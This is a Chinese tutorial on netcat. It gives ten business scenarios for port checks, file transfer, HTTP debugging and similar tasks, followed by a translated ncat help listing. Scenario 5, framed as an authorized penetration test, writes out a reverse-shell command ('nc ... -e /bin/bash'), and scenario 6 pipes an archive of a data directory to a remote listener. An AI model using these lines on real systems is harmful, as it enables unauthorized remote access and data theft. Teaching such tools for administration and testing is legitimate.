nc命令
nc命令，全称netcat，是一种功能强大的网络工具，被广泛用于网络调试和探测。它通常被称为“网络界的瑞士军刀”，因为它能够执行多种网络相关的任务。这些任务包括：
1.场景：IT支持团队测试公司网站的端口连通性
- 业务需求：验证公司网站（例如
companywebsite.com）的HTTP（80）端口是否开放。 - 命令：
nc -zv companywebsite.com 80 - 这个命令会尝试连接到
companywebsite.com的80端口，并显示是否成功连接。
2.场景：系统管理员快速搭建一个文件传输服务
- 业务需求：系统管理员需要在192.168.1.5的服务器上快速搭建一个文件传输服务，以便其他用户可以下载一个名为
important_data.zip的文件。 - 命令（服务器端）：
nc -lk 1234 < /path/to/important_data.zip - 命令（客户端）：
nc 192.168.1.5 1234 > important_data.zip - 这两个命令分别在服务器上创建了一个发送文件的服务，并在客户端启动了文件的接收。
3.场景：网络工程师测试内部DNS服务器的UDP端口
- 业务需求：网络工程师需要测试公司内部DNS服务器（例如IP为192.168.1.10）的53端口是否正常。
- 命令：
nc -zvu 192.168.1.10 53 - 这个命令用于检查UDP端口53在192.168.1.10上是否开放。
4.场景：开发人员模拟简单的HTTP请求以调试API
- 业务需求：开发人员需要向本地运行的Web服务（例如在8080端口）发送一个HTTP GET请求，以检查API响应。
- 命令：
echo -e "GET /api/test HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 8080 - 这个命令模拟了向本地8080端口的Web服务发送HTTP GET请求。
5.场景：安全团队进行内部渗透测试
- 业务需求：安全团队在进行授权的渗透测试时，需要从一台内部机器（例如IP为192.168.1.50）建立反向Shell连接到测试服务器（例如IP为192.168.1.100，端口1234）。
- 命令（测试服务器）：
nc -lk 1234 - 命令（内部机器）：
nc 192.168.1.100 1234 -e /bin/bash - 这对命令建立了一个从内部机器到测试服务器的反向Shell连接。
6.场景：技术支持团队进行远程诊断
- 业务需求：技术支持需要远程连接到客户的机器以收集诊断信息。客户的机器IP为192.168.1.20，技术支持的监听服务器IP为192.168.1.100，端口5555。
- 命令（技术支持的监听服务器）：
nc -lk 5555 - 命令（客户的机器）：
tar czf - /path/to/diagnostic/data | nc 192.168.1.100 5555 - 这两个命令允许客户的机器将诊断数据压缩并发送到技术支持的监听服务器。
7.场景：数据库管理员检查数据库端口的连通性
- 业务需求：数据库管理员需要检查是否可以从远程访问数据库服务器（假设IP为192.168.1.30）上的MySQL端口（3306）。
- 命令：
nc -zv 192.168.1.30 3306 - 这个命令用于检查192.168.1.30的3306端口是否开放。
8.场景：网络管理员创建一个简单的聊天服务
- 业务需求：网络管理员想在内部网络上快速搭建一个临时的聊天服务，方便团队成员之间的沟通。服务运行在端口7777。
- 命令（服务端）：
nc -lk 7777 - 命令（客户端）：
nc 192.168.1.100 7777 - 这对命令在192.168.1.100的7777端口上创建了一个简单的聊天服务。
9.场景：软件开发者测试自定义TCP协议
- 业务需求：软件开发者正在开发一个基于TCP的自定义协议，需要在本地测试协议的有效性。
- 命令（模拟服务器）：
nc -lk 8888 - 命令（模拟客户端）：
nc localhost 8888 - 通过这对命令，开发者可以在本地8888端口模拟TCP服务器和客户端，进行协议测试。
10.场景：系统管理员测试内部邮件服务器
- 业务需求：系统管理员需要测试公司内部邮件服务器（例如IP为192.168.1.40）的SMTP端口（25）是否正常工作。
- 命令：
nc 192.168.1.40 25 - 这个命令允许系统管理员手动与SMTP服务进行交互，以验证其功能。
这些场景展示了nc在各种实际业务环境中的多样性和实用性。请记住，在使用这些命令时需要确保网络安全，并且根据操作系统和nc版本的不同，可能需要调整命令的具体参数。
# nc --help
Ncat 7.50 ( https://nmap.org/ncat )
使用方法: ncat [选项] [主机名] [端口]
带时间的选项默认为秒。可附加'ms'表示毫秒，'s'表示秒，'m'表示分钟，或'h'表示小时（例如 500ms）。
-4 仅使用IPv4
-6 仅使用IPv6
-U, --unixsock 仅使用Unix域套接字
-C, --crlf 使用CRLF作为行结束序列
-c, --sh-exec <command> 通过/bin/sh执行给定命令
-e, --exec <command> 执行给定命令
--lua-exec <filename> 执行给定的Lua脚本
-g hop1[,hop2,...] 松散源路由跳点（最多8个）
-G <n> 松散源路由跳点指针（4, 8, 12, ...）
-m, --max-conns <n> 最大<n>个同时连接
-h, --help 显示此帮助屏幕
-d, --delay <time> 读/写之间等待时间
-o, --output <filename> 将会话数据转储到文件
-x, --hex-dump <filename> 以十六进制形式将会话数据转储到文件
-i, --idle-timeout <time> 读/写空闲超时
-p, --source-port port 指定使用的源端口
-s, --source addr 指定使用的源地址（不影响-l）
-l, --listen 绑定并监听传入连接
-k, --keep-open 在监听模式下接受多个连接
-n, --nodns 不通过DNS解析主机名
-t, --telnet 应答Telnet协商
-u, --udp 使用UDP而非默认的TCP
--sctp 使用SCTP而非默认的TCP
-v, --verbose 设置详细级别（可多次使用）
-w, --wait <time> 连接超时
-z 零I/O模式，仅报告连接状态
--append-output 追加而非覆盖指定的输出文件
--send-only 仅发送数据，忽略接收到的；EOF时退出
--recv-only 仅接收数据，不发送任何数据
--allow 仅允许给定主机连接到Ncat
--allowfile 允许连接到Ncat的主机列表文件
--deny 拒绝给定主机连接到Ncat
--denyfile 被拒绝连接到Ncat的主机列表文件
--broker 启用Ncat的连接代理模式
--chat 启动一个简单的Ncat聊天服务器
--proxy <addr[:port]> 指定要通过的代理主机地址
--proxy-type <type> 指定代理类型（"http"或"socks4"或"socks5"）
--proxy-auth <auth> 使用HTTP或SOCKS代理服务器进行认证
--ssl 使用SSL进行连接或监听
--ssl-cert 指定SSL证书文件（PEM）用于监听
--ssl-key 指定SSL私钥（PEM）用于监听
--ssl-verify 验证证书的信任和域名
--ssl-trustfile 包含受信任SSL证书的PEM文件
--ssl-ciphers 包含要使用的SSL加密套件的Cipherlist
--version 显示Ncat的版本信息并退出
查看ncat(1)手册页以获取完整